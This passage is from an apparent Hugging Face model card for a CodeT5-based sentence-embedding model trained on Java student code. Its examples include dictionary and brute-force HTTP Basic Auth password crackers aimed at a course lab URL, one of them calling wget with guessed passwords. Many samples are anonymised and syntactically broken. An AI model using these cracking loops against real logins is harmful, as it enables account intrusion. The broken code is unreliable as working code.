+
\ Authenticator.setDefault(new MyAuthenticator ());\n\n startTime = System.currentTimeMillis();\n\
|
670 |
+
\ boolean passwordMatched = false;\n while (!passwordMatched) {\n \
|
671 |
+
\ try {\n input = new BufferedReader(new InputStreamReader(location.openStream()));\n\
|
672 |
+
\ String line = input.readLine();\n while (line != null) {\n\
|
673 |
+
\ System.out.println(line);\n line = input.readLine();\n\
|
674 |
+
\ }\n input.close();\n passwordMatched = true;\n \
|
675 |
+
\ }\n catch (ProtocolException e)\n {\n \n \
|
676 |
+
\ \n }\n catch (ConnectException e) {\n System.out.println(\"\
|
677 |
+
Failed connect\");\n }\n catch (IOException e) {\n e.printStackTrace();\n\
|
678 |
+
\ System.exit(-1);\n }\n }\n endTime = System.currentTimeMillis();\n\
|
679 |
+
\ System.out.println(\"Total Time: \"+cad.concat(Math.toString(endTime -\
|
680 |
+
\ startTime)));\n }\n\n \n\n private char[] nextPassword() {\n String\
|
681 |
+
\ password = new String();\n try {\n password = dictionary.readLine();\n\
|
682 |
+
\ while (password.length() > maxLetters) {\n password = dictionary.readLine();\n\
|
683 |
+
\ }\n }\n catch (IOException e) {\n e.printStackTrace();\n\
|
684 |
+
\ System.exit(-1);\n }\n\n return password.toCharArray();\n \
|
685 |
+
\ }\n\n\n \n\n public static void main(String args[]) {\n if (args.length\
|
686 |
+
\ != 3) {\n System.out.println(\"Usage: java Dictionary url user dictionary\"\
|
687 |
+
);\n System.exit(-1);\n }\n try {\n location = new URL(args[0]);\n\
|
688 |
+
\ }\n catch (MalformedURLException e) {\n e.printStackTrace();\n\
|
689 |
+
\ }\n user = new String().concat(args[1]);\n try {\n dictionary\
|
690 |
+
\ = new BufferedReader(new FileReader(args[2]));\n }\n catch (IOException\
|
691 |
+
\ e) {\n e.printStackTrace();\n System.exit(-1);\n }\n \
|
692 |
+
\ new Dictionary();\n }\n\n \n\n class MyAuthenticator extends Authenticator\
|
693 |
+
\ {\n protected PasswordAuthentication getPasswordAuthentication() {\n \
|
694 |
+
\ char [] currentPassword = nextPassword();\n System.out.print(user.concat(\"\
|
695 |
+
-\"));\n System.out.println(currentPassword);\n return new PasswordAuthentication\
|
696 |
+
\ (user, currentPassword);\n }\n }\n}\n"
|
697 |
+
- source_sentence: "\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic\
|
698 |
+
\ class Dictionary\n{\n public static void main (String args[]) throws IOException,\n\
|
699 |
+
\ MalformedURLException\n {\n final String username = \"\";\n final\
|
700 |
+
\ String fullurl = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n final String\
|
701 |
+
\ dictfile = \"/usr/share/lib/dict/words\";\n String temppass;\n String\
|
702 |
+
\ password = \"\";\n URL url = new URL(fullurl);\n boolean cracked =\
|
703 |
+
\ false;\n\n startTime = System.currentTimeMillis();\n\n \n BufferedReader\
|
704 |
+
\ r = new BufferedReader(new FileReader(dictfile));\n\n while((temppass =\
|
705 |
+
\ r.readLine()) != null && !cracked)\n { \n \n if(temppass.length()\
|
706 |
+
\ <= 3)\n {\n \n if(isAlpha(temppass))\n \
|
707 |
+
\ {\n \n Authenticator.setDefault(new MyAuthenticator(username,temppass));\n\
|
708 |
+
\ try{\n BufferedReader x = new BufferedReader(new\
|
709 |
+
\ InputStreamReader(\n url.openStream()));\n \
|
710 |
+
\ cracked = true;\n password = temppass;\n \
|
711 |
+
\ } catch(Exception e){}\n }\n }\n }\n\n stopTime\
|
712 |
+
\ = System.currentTimeMillis();\n \n if(!cracked)\n System.out.println(\"\
|
713 |
+
Sorry, couldnt find the password\");\n else\n System.out.println(\"\
|
714 |
+
Password found: \"+password);\n System.out.println(\"Time taken: \"+(stopTime-startTime));\n\
|
715 |
+
\ }\n\n public static boolean isAlpha(String s)\n {\n boolean v = true;\n\
|
716 |
+
\ for(int i=0; i<s.length(); i++)\n {\n if(!Character.isLetter(s.charAt(i)))\n\
|
717 |
+
\ v = false;\n }\n return ;\n }\n}\n\n"
|
718 |
+
sentences:
|
719 |
+
- "\n\nimport java.net.*;\nimport java.text.*; \nimport java.util.*; \nimport\
|
720 |
+
\ java.io.*;\n\npublic class WatchDog {\n\n public WatchDog() {\n\n StringBuffer\
|
721 |
+
\ stringBuffer1 = new StringBuffer();\n StringBuffer stringBuffer2 = new StringBuffer();\n\
|
722 |
+
\ int i,j = 0;\n\n try{\n\n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"\
|
723 |
+
); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\
|
724 |
+
\n String inputLine = \"\";\n String inputLine1 = \"\";\n String\
|
725 |
+
\ changedtext= \"\";\n String changedflag= \"\";\n\n\n Thread.sleep(180);\n\
|
726 |
+
\n BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\
|
727 |
+
\n\n while ((inputLine = in.readLine()) != null) {\n inputLine1\
|
728 |
+
\ = in1.readLine();\n if (inputLine.equals(inputLine1)) {\n \
|
729 |
+
\ System.out.println(\"equal\");\n }\n else {\n \
|
730 |
+
\ System.out.println(\"Detected a Change\");\n System.out.println(\"\
|
731 |
+
Line Before the change:\" + inputLine);\n System.out.println(\"Line\
|
732 |
+
\ After the change:\" + inputLine1);\n changedtext = changedtext\
|
733 |
+
\ + inputLine + inputLine1;\n changedflag = \"Y\";\n }\n\
|
734 |
+
\ \n }\n\n if (in1.readLine() != null ) {\n System.out.println(\"\
|
735 |
+
Detected a Change\");\n System.out.println(\"New Lines Added \");\n \
|
736 |
+
\ changedtext = changedtext + \"New Lines added\";\n changedflag\
|
737 |
+
\ = \"Y\";\n }\n\n in.print();\n in1.print();\n\n if (changedflag.equals(\"\
|
738 |
+
Y\")) {\n String smtphost =\"smtp.mail.rmit.edu.\" ; \n String\
|
739 |
+
\ from = \"@rmit.edu.\"; \n String = \"janaka1@optusnet..\" ; \n \
|
740 |
+
\ }\n\n\n }\n catch(Exception e){ System.out.println(\"exception:\" + e);}\n\
|
741 |
+
\t \n}\n\t\t\n public static void main (String[] args) throws Exception {\n\
|
742 |
+
\t\tWatchDog u = new WatchDog();\n }\n}\n"
|
743 |
+
- "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport javax.swing.*;\n\
|
744 |
+
\npublic class PasswordCombination\n{\n private int pwdCounter = 0;\n\
|
745 |
+
\ private int startTime;\n private String str1,str2,str3;\n private\
|
746 |
+
\ String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n private String\
|
747 |
+
\ loginPwd;\n private String[] password;\n private HoldSharedData data;\n\
|
748 |
+
\ private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',\n\
|
749 |
+
\ 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\
|
750 |
+
\ 'a','b','c','d','e','f','g','h','i','j','k','l','m',\n\
|
751 |
+
\ 'n','o','p','q','r','s','t','u','v','w','x','y','z'};\n\
|
752 |
+
\n public PasswordCombination()\n {\n System.out.println(\"Programmed\
|
753 |
+
\ by for INTE1070 Assignment 2\");\n\n String input = JOptionPane.showInputDialog(\
|
754 |
+
\ \"Enter number of threads\" );\n if( input == null )\n System.exit(0);\n\
|
755 |
+
\n int numOfConnections = Integer.parseInt( input );\n startTime\
|
756 |
+
\ = System.currentTimeMillis();\n int pwdCounter = 52*52*52 + 52*52 + 52;\n\
|
757 |
+
\ password = new String[pwdCounter];\n\n\n loadPasswords();\n \
|
758 |
+
\ System.out.println( \"Total Number of Passwords: \" + pwdCounter );\n \
|
759 |
+
\ createConnectionThread( numOfConnections );\n }\n\n private void\
|
760 |
+
\ doPwdCombination()\n {\n for( int i = 0; i < 52; i ++ )\n {\n\
|
761 |
+
\ str1 = \"\" + chars[i];\n password[pwdCounter++] = \"\"\
|
762 |
+
\ + chars[i];\n System.err.print( str1 + \" | \" );\n\n \
|
763 |
+
\ for( int j = 0; j < 52; j ++ )\n {\n str2 = str1 +\
|
764 |
+
\ chars[j];\n password[pwdCounter++] = str1 + chars[j];\n\n \
|
765 |
+
\ for( int k = 0; k < 52; k ++ )\n {\n \
|
766 |
+
\ str3 = str2 + chars[k];\n password[pwdCounter++] =\
|
767 |
+
\ str2 + chars[k];\n }\n }\n }\n }\n\n \
|
768 |
+
\ private void loadPasswords( )\n {\n FileReader fRead;\n \
|
769 |
+
\ BufferedReader buf;\n String line = null;\n String \
|
770 |
+
\ fileName = \"words\";\n\n try\n {\n fRead = new\
|
771 |
+
\ FileReader( fileName );\n buf = new BufferedReader(fRead);\n\n \
|
772 |
+
\ while((line = buf.readLine( )) != null)\n {\n \
|
773 |
+
\ password[pwdCounter++] = line;\n }\n }\n catch(FileNotFoundException\
|
774 |
+
\ e)\n {\n System.err.println(\"File not found: \" + fileName);\n\
|
775 |
+
\ }\n catch(IOException ioe)\n {\n System.err.println(\"\
|
776 |
+
IO Error \" + ioe);\n }\n }\n\n private void createConnectionThread(\
|
777 |
+
\ int input )\n {\n data = new HoldSharedData( startTime, password,\
|
778 |
+
\ pwdCounter );\n\n int numOfThreads = input;\n int batch = pwdCounter/numOfThreads\
|
779 |
+
\ + 1;\n numOfThreads = pwdCounter/batch + 1;\n System.out.println(\"\
|
780 |
+
Number of Connection Threads Used=\" + numOfThreads);\n ConnectionThread[]\
|
781 |
+
\ connThread = new ConnectionThread[numOfThreads];\n\n for( int index =\
|
782 |
+
\ 0; index < numOfThreads; index ++ )\n {\n connThread[index]\
|
783 |
+
\ = new ConnectionThread( url, index, batch, data );\n connThread[index].conn();\n\
|
784 |
+
\ }\n }\n} "
|
785 |
+
- "import java.io.*;\nimport java.util.StringTokenizer;\nimport java.net.smtp.SmtpClient;\n\
|
786 |
+
import java.util.Timer;\nimport java.util.TimerTask;\n\n\npublic class WatchDog\
|
787 |
+
\ {\npublic static void main(String[] args) {\ntry {\nProcess y = Runtime.getRuntime().exec(\"\
|
788 |
+
./init\");\n}\ncatch (Exception e) {System.err.println(e);}\n\n\nWatchDog poodle=new\
|
789 |
+
\ WatchDog();\n {\npoodle.startWatch();\n} while(1==1);\n}\n\npublic void startWatch()\
|
790 |
+
\ {\nString error_mes=new String();\nString mesg=new String();\nString url=\"\
|
791 |
+
wget -p http://www.cs.rmit.edu./students\";\n\ntry {\nProcess a = Runtime.getRuntime().exec(url);\n\
|
792 |
+
}\ncatch (Exception e) {System.err.println(e);}\n\ntry {\nProcess b = Runtime.getRuntime().exec(\"\
|
793 |
+
diff org/images/ www.cs.rmit.edu./images/\");\n BufferedReader stdInputimages\
|
794 |
+
\ = new BufferedReader(new InputStreamReader(b.getInputStream()));\n \
|
795 |
+
\ while ((error_mes = stdInputimages.readLine()) != null) {\n\n \
|
796 |
+
\ mesg=mesg.concat(error_mes);\n \n \n \
|
797 |
+
\ }\n}\ncatch (Exception e) {System.err.println(e);}\n\n\n\n\ntry {\nProcess\
|
798 |
+
\ c = Runtime.getRuntime().exec(\"diff org/students/ www.cs.rmit.edu./students/\"\
|
799 |
+
);\nBufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream()));\n\
|
800 |
+
\ while ((error_mes = stdInputindex.readLine()) != null) {\n \
|
801 |
+
\ mesg=mesg.concat(error_mes);\n \n }\n}\n\
|
802 |
+
catch (Exception e) {System.err.println(e);}\n\n\nif (mesg.length()>0) { sendEmail(mesg);\
|
803 |
+
\ }\n\ntry { Thread.sleep(60*60*24*1000);\n } catch(Exception e) { }\n}\n\n\n\n\
|
804 |
+
\n\npublic void sendEmail(String message) {\n{\nString reciever = \"@cs.rmit.edu.\"\
|
805 |
+
;\nString sender = \"[email protected].\";\n\n try {\n\n \
|
806 |
+
\ SmtpClient smtp = new SmtpClient();\n smtp.from(sender);\n\
|
807 |
+
\ smtp.to(reciever);\n PrintStream\
|
808 |
+
\ msg = smtp.startMessage();\n msg.println(message);\n\
|
809 |
+
\ smtp.closeServer();\n }\n\n \
|
810 |
+
\ catch (Exception e) {}\n\n }\n}\n}"
|
811 |
+
pipeline_tag: sentence-similarity
|
812 |
+
library_name: sentence-transformers
|
813 |
+
---
|
814 |
+
|
815 |
+
# SentenceTransformer based on Salesforce/codet5-small
|
816 |
+
|
817 |
+
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [Salesforce/codet5-small](https://huggingface.co/Salesforce/codet5-small). It maps sentences & paragraphs to a 512-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
|
818 |
+
|
819 |
+
## Model Details
|
820 |
+
|
821 |
+
### Model Description
|
822 |
+
- **Model Type:** Sentence Transformer
|
823 |
+
- **Base model:** [Salesforce/codet5-small](https://huggingface.co/Salesforce/codet5-small) <!-- at revision b1ee9570c289f21b5922b9c768a1ce12957bf968 -->
|
824 |
+
- **Maximum Sequence Length:** 512 tokens
|
825 |
+
- **Output Dimensionality:** 512 dimensions
|
826 |
+
- **Similarity Function:** Cosine Similarity
|
827 |
+
<!-- - **Training Dataset:** Unknown -->
|
828 |
+
<!-- - **Language:** Unknown -->
|
829 |
+
<!-- - **License:** Unknown -->
|
830 |
+
|
831 |
+
### Model Sources
|
832 |
+
|
833 |
+
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
|
834 |
+
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
|
835 |
+
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
|
836 |
+
|
837 |
+
### Full Model Architecture
|
838 |
+
|
839 |
+
```
|
840 |
+
SentenceTransformer(
|
841 |
+
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: T5EncoderModel
|
842 |
+
(1): Pooling({'word_embedding_dimension': 512, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
|
843 |
+
)
|
844 |
+
```
|
845 |
+
|
846 |
+
## Usage
|
847 |
+
|
848 |
+
### Direct Usage (Sentence Transformers)
|
849 |
+
|
850 |
+
First install the Sentence Transformers library:
|
851 |
+
|
852 |
+
```bash
|
853 |
+
pip install -U sentence-transformers
|
854 |
+
```
|
855 |
+
|
856 |
+
Then you can load this model and run inference.
|
857 |
+
```python
|
858 |
+
from sentence_transformers import SentenceTransformer
|
859 |
+
|
860 |
+
# Download from the 🤗 Hub
|
861 |
+
model = SentenceTransformer("buelfhood/SOCO-Java-CodeT5Small-ST")
|
862 |
+
# Run inference
|
863 |
+
sentences = [
|
864 |
+
'\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic class Dictionary\n{\n public static void main (String args[]) throws IOException,\n MalformedURLException\n {\n final String username = "";\n final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";\n final String dictfile = "/usr/share/lib/dict/words";\n String temppass;\n String password = "";\n URL url = new URL(fullurl);\n boolean cracked = false;\n\n startTime = System.currentTimeMillis();\n\n \n BufferedReader r = new BufferedReader(new FileReader(dictfile));\n\n while((temppass = r.readLine()) != null && !cracked)\n { \n \n if(temppass.length() <= 3)\n {\n \n if(isAlpha(temppass))\n {\n \n Authenticator.setDefault(new MyAuthenticator(username,temppass));\n try{\n BufferedReader x = new BufferedReader(new InputStreamReader(\n url.openStream()));\n cracked = true;\n password = temppass;\n } catch(Exception e){}\n }\n }\n }\n\n stopTime = System.currentTimeMillis();\n \n if(!cracked)\n System.out.println("Sorry, couldnt find the password");\n else\n System.out.println("Password found: "+password);\n System.out.println("Time taken: "+(stopTime-startTime));\n }\n\n public static boolean isAlpha(String s)\n {\n boolean v = true;\n for(int i=0; i<s.length(); i++)\n {\n if(!Character.isLetter(s.charAt(i)))\n v = false;\n }\n return ;\n }\n}\n\n',
|
865 |
+
'\n\nimport java.net.*;\nimport java.text.*; \nimport java.util.*; \nimport java.io.*;\n\npublic class WatchDog {\n\n public WatchDog() {\n\n StringBuffer stringBuffer1 = new StringBuffer();\n StringBuffer stringBuffer2 = new StringBuffer();\n int i,j = 0;\n\n try{\n\n URL yahoo = new URL("http://www.cs.rmit.edu./students/"); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n String inputLine = "";\n String inputLine1 = "";\n String changedtext= "";\n String changedflag= "";\n\n\n Thread.sleep(180);\n\n BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n\n while ((inputLine = in.readLine()) != null) {\n inputLine1 = in1.readLine();\n if (inputLine.equals(inputLine1)) {\n System.out.println("equal");\n }\n else {\n System.out.println("Detected a Change");\n System.out.println("Line Before the change:" + inputLine);\n System.out.println("Line After the change:" + inputLine1);\n changedtext = changedtext + inputLine + inputLine1;\n changedflag = "Y";\n }\n \n }\n\n if (in1.readLine() != null ) {\n System.out.println("Detected a Change");\n System.out.println("New Lines Added ");\n changedtext = changedtext + "New Lines added";\n changedflag = "Y";\n }\n\n in.print();\n in1.print();\n\n if (changedflag.equals("Y")) {\n String smtphost ="smtp.mail.rmit.edu." ; \n String from = "@rmit.edu."; \n String = "janaka1@optusnet.." ; \n }\n\n\n }\n catch(Exception e){ System.out.println("exception:" + e);}\n\t \n}\n\t\t\n public static void main (String[] args) throws Exception {\n\t\tWatchDog u = new WatchDog();\n }\n}\n',
|
866 |
+
'\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport javax.swing.*;\n\npublic class PasswordCombination\n{\n private int pwdCounter = 0;\n private int startTime;\n private String str1,str2,str3;\n private String url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n private String loginPwd;\n private String[] password;\n private HoldSharedData data;\n private char[] chars = {\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\n \'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\',\n \'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\n \'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\n\n public PasswordCombination()\n {\n System.out.println("Programmed by for INTE1070 Assignment 2");\n\n String input = JOptionPane.showInputDialog( "Enter number of threads" );\n if( input == null )\n System.exit(0);\n\n int numOfConnections = Integer.parseInt( input );\n startTime = System.currentTimeMillis();\n int pwdCounter = 52*52*52 + 52*52 + 52;\n password = new String[pwdCounter];\n\n\n loadPasswords();\n System.out.println( "Total Number of Passwords: " + pwdCounter );\n createConnectionThread( numOfConnections );\n }\n\n private void doPwdCombination()\n {\n for( int i = 0; i < 52; i ++ )\n {\n str1 = "" + chars[i];\n password[pwdCounter++] = "" + chars[i];\n System.err.print( str1 + " | " );\n\n for( int j = 0; j < 52; j ++ )\n {\n str2 = str1 + chars[j];\n password[pwdCounter++] = str1 + chars[j];\n\n for( int k = 0; k < 52; k ++ )\n {\n str3 = str2 + chars[k];\n password[pwdCounter++] = str2 + chars[k];\n }\n }\n }\n }\n\n private void loadPasswords( )\n {\n FileReader fRead;\n BufferedReader buf;\n String line = null;\n String fileName = "words";\n\n try\n {\n fRead = new FileReader( fileName );\n buf = new BufferedReader(fRead);\n\n while((line = buf.readLine( )) != null)\n {\n password[pwdCounter++] = line;\n }\n }\n catch(FileNotFoundException e)\n {\n System.err.println("File not found: " + fileName);\n }\n catch(IOException ioe)\n {\n System.err.println("IO Error " + ioe);\n }\n }\n\n private void createConnectionThread( int input )\n {\n data = new HoldSharedData( startTime, password, pwdCounter );\n\n int numOfThreads = input;\n int batch = pwdCounter/numOfThreads + 1;\n numOfThreads = pwdCounter/batch + 1;\n System.out.println("Number of Connection Threads Used=" + numOfThreads);\n ConnectionThread[] connThread = new ConnectionThread[numOfThreads];\n\n for( int index = 0; index < numOfThreads; index ++ )\n {\n connThread[index] = new ConnectionThread( url, index, batch, data );\n connThread[index].conn();\n }\n }\n} ',
|
867 |
+
]
|
868 |
+
embeddings = model.encode(sentences)
|
869 |
+
print(embeddings.shape)
|
870 |
+
# [3, 512]
|
871 |
+
|
872 |
+
# Get the similarity scores for the embeddings
|
873 |
+
similarities = model.similarity(embeddings, embeddings)
|
874 |
+
print(similarities.shape)
|
875 |
+
# [3, 3]
|
876 |
+
```
|
877 |
+
|
878 |
+
<!--
|
879 |
+
### Direct Usage (Transformers)
|
880 |
+
|
881 |
+
<details><summary>Click to see the direct usage in Transformers</summary>
|
882 |
+
|
883 |
+
</details>
|
884 |
+
-->
|
885 |
+
|
886 |
+
<!--
|
887 |
+
### Downstream Usage (Sentence Transformers)
|
888 |
+
|
889 |
+
You can finetune this model on your own dataset.
|
890 |
+
|
891 |
+
<details><summary>Click to expand</summary>
|
892 |
+
|
893 |
+
</details>
|
894 |
+
-->
|
895 |
+
|
896 |
+
<!--
|
897 |
+
### Out-of-Scope Use
|
898 |
+
|
899 |
+
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
|
900 |
+
-->
|
901 |
+
|
902 |
+
<!--
|
903 |
+
## Bias, Risks and Limitations
|
904 |
+
|
905 |
+
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
|
906 |
+
-->
|
907 |
+
|
908 |
+
<!--
|
909 |
+
### Recommendations
|
910 |
+
|
911 |
+
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
|
912 |
+
-->
|
913 |
+
|
914 |
+
## Training Details
|
915 |
+
|
916 |
+
### Training Dataset
|
917 |
+
|
918 |
+
#### Unnamed Dataset
|
919 |
+
|
920 |
+
* Size: 33,411 training samples
|
921 |
+
* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>
|
922 |
+
* Approximate statistics based on the first 1000 samples:
|
923 |
+
| | sentence_0 | sentence_1 | label |
|
924 |
+
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------|
|
925 |
+
| type | string | string | int |
|
926 |
+
| details | <ul><li>min: 52 tokens</li><li>mean: 444.58 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 52 tokens</li><li>mean: 470.35 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> |
|
927 |
+
* Samples:
|
928 |
+
| sentence_0 | sentence_1 | label |
|
929 |
+
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|
|
930 |
+
| <code> <br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class MyTimer<br>{ <br><br> public static void main(String args[])<br> {<br> Watchdog watch = new Watchdog();<br> Timer time = new Timer();<br> time.schedule(watch,864000000,864000000);<br> <br> <br> }<br>}<br></code> | <code><br><br>import java.io.*;<br>import java.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Dictionary {<br> public static void main (String[] args) throws IOException {<br> BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));<br><br> d = new Date().getTime();<br> FileReader fr = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader bufr = new BufferedReader(fr);<br> String word = bufr.readLine(); <br> int total = 960;<br> String[] pws = new String[total];<br> int count = 0;<br> while (word!=null){<br> if (word.length()<=3) { pws[count] = word; count++;}<br> word = bufr.readLine();<br> }<br> <br> int i=0;<br> int response = 0;<br> for (i=0;i<count;i++){<br> String uname = "";<br> String userinfo = uname + ":" + pws[i];<br> try{<br> String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());<br> URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");<br> HttpURLConn...</code> | <code>0</code> |
|
931 |
+
| <code><br>import java.io.*;<br>import java.util.*;<br><br><br>class BruteForce{<br><br>public static void main(String args[]){<br><br>String pass,s;<br>char a,b,c;<br>int z=0;<br>int attempt=0;<br>Process p;<br><br><br>char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',<br> 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',<br> 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};<br> z = System.currentTimeMillis();<br>int at=0;<br>for(int i=0;i<password.length;i++){<br> for(int j=0;j<password.length;j++){<br> for(int k=0;k<password.length;k++){<br> pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]);<br><br> try {<br> System.out.println("Trying crack using: "+pass);<br> at++;<br><br><br> p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> try{<br> p.waitFor();<br> }<br> catch(Exception q){}<br><br><br> z = p.exitValue();<br><br><br> ...</code> | <code><br>import java.io.*;<br>import java.util.Vector;<br>import java.util.Date;<br><br><br>interface UnaryPredicate {<br> boolean execute(Object obj);<br>}<br><br><br>public class DiffPrint {<br> <br> static String outFile="";<br><br> public static abstract class Base {<br> protected Base(Object[] a,Object[] b) {<br> try<br> {<br> outfile = new PrintWriter(new FileWriter(outFile)); <br> }<br> catch (Exception e)<br> {<br> e.printStackTrace();<br> }<br> file0 = a;<br> file1 = b;<br> }<br> <br> protected UnaryPredicate ignore = null;<br><br> <br> protected Object[] file0, file1;<br><br> <br> public void print_script(Diff.change script) {<br> Diff.change next = script;<br><br> while (next != null)<br> {<br> Diff.change t, end;<br><br> <br> t = next;<br> end = hunkfun(next);<br><br> <br> next = end;<br> end = null;<br> <br> <br><br> <br> print_hunk(t);<br><br> <br> end = next;<br> }<br> outfile.flush();<br> }<br><br> <br><br> protected Diff.change hunkfun(Diff.change hunk) {<br> ...</code> | <code>0</code> |
|
932 |
+
| <code>package java.httputils;<br><br>import java.io.BufferedInputStream;<br>import java.io.BufferedOutputStream;<br>import java.io.BufferedReader;<br>import java.io.FileInputStream;<br>import java.io.FileNotFoundException;<br>import java.io.FileOutputStream;<br>import java.io.FileReader;<br>import java.io.IOException;<br>import java.io.OutputStream;<br><br><br>public class WatchDog<br>{<br> protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);<br> protected int interval = 24;<br> protected String URL = "http://www.cs.rmit.edu./students/";<br> protected String fileName = "WatchDogContent.html";<br> protected String command = "./alert_mail.sh";<br> protected String savedContent;<br> protected String retrievedContent;<br><br> <br> public WatchDog()<br> {<br> super();<br> }<br><br> <br> public void run() throws Exception<br> {<br> HttpRequestClient client = null;<br> <br> <br> System.out.println(getClass().getName() +<br> "Retrieving baseline copy of: " + getURL());<br> client = new HttpRequestClie...</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class Dictionary<br>{<br> public String[] passwds;<br> public int passwdNum;<br> public static void main(String[] args) throws IOException<br> {<br> Dictionary dic=new Dictionary();<br> dic.doDictionary();<br> System.exit(1);<br> }<br><br> void doDictionary() throws IOException<br> {<br> Runtime rt=Runtime.getRuntime();<br> passwds=new String[32768];<br> passwdNum=0;<br><br> time1=new Date().getTime();<br> <br> try<br> {<br> File f = new File ("words");<br> FileReader fin = new FileReader (f);<br> BufferedReader buf = new BufferedReader(fin);<br> passwds[0]="00";<br> System.out.println(" loading words....");<br> <br> {<br> passwds[passwdNum]=buf.readLine();<br> passwdNum++;<br> }while(passwds[passwdNum-1]!=null);<br> System.out.println("Finish loading words.");<br> } catch (FileNotFoundException exc) {<br> System.out.println ("File Not Found");<br> } catch (IOException exc) {<br> System.out.println ("IOException 1");<br> } catch (NullPointerException exc) {<br> System.out.println ("NullPointerEx...</code> | <code>0</code> |
|
933 |
+
* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss)
|
934 |
+
|
935 |
+
### Training Hyperparameters
|
936 |
+
#### Non-Default Hyperparameters
|
937 |
+
|
938 |
+
- `per_device_train_batch_size`: 16
|
939 |
+
- `per_device_eval_batch_size`: 16
|
940 |
+
- `num_train_epochs`: 1
|
941 |
+
- `multi_dataset_batch_sampler`: round_robin
|
942 |
+
|
943 |
+
#### All Hyperparameters
|
944 |
+
<details><summary>Click to expand</summary>
|
945 |
+
|
946 |
+
- `overwrite_output_dir`: False
|
947 |
+
- `do_predict`: False
|
948 |
+
- `eval_strategy`: no
|
949 |
+
- `prediction_loss_only`: True
|
950 |
+
- `per_device_train_batch_size`: 16
|
951 |
+
- `per_device_eval_batch_size`: 16
|
952 |
+
- `per_gpu_train_batch_size`: None
|
953 |
+
- `per_gpu_eval_batch_size`: None
|
954 |
+
- `gradient_accumulation_steps`: 1
|
955 |
+
- `eval_accumulation_steps`: None
|
956 |
+
- `torch_empty_cache_steps`: None
|
957 |
+
- `learning_rate`: 5e-05
|
958 |
+
- `weight_decay`: 0.0
|
959 |
+
- `adam_beta1`: 0.9
|
960 |
+
- `adam_beta2`: 0.999
|
961 |
+
- `adam_epsilon`: 1e-08
|
962 |
+
- `max_grad_norm`: 1
|
963 |
+
- `num_train_epochs`: 1
|
964 |
+
- `max_steps`: -1
|
965 |
+
